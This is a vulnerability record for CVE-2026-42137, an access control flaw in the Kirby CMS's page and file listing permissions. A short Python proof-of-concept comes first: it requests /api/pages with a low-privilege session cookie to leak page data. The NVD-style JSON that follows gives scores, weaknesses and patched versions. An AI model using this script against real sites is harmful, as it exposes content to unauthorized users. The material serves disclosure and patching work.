CVE-2026-42137

import requests # Target configuration target_host = "http://target-kirby-site.com" endpoint = "/api/pages" # Attacker's low-privilege session cookie # Replace with a valid session token obtained after login cookies = { "kirby_session": "attacker_low_priv_session_token_here" } # Send request to list pages (bypassing permission check) response = requests.get(f"{target_host}{endpoint}", cookies=cookies) if response.status_code == 200: print("[+] Exploit successful! Leaked page data:") print(response.text) else: print("[-] Exploit failed or already patched.")

{"cve": {"id": "CVE-2026-42137", "sourceIdentifier": "[email protected]", "published": "2026-05-09T04:16:22.653", "lastModified": "2026-05-18T13:00:27.980", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Kirby is an open-source content management system. Prior to versions 4.9.0 and 5.4.0, `pages.access/list` and `files.access/list` permissions are not consistently checked in the Panel and REST API. This issue has been patched in versions 4.9.0 and 5.4.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}, {"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:getkirby:kirby:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.9.0", "matchCriteriaId": "1BB5394F-37F9-4A53-9CE7-79548F674886"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getkirby:kirby:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.0.0", "versionEndExcluding": "5.4.0", "matchCriteriaId": "B2D943B9-CD71-45FE-A1A4-158603C3502E"}]}]}], "references": [{"url": "https://github.com/getkirby/kirby/releases/tag/4.9.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/getkirby/kirby/releases/tag/5.4.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/getkirby/kirby/security/advisories/GHSA-85x2-r8xv-ww8c", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}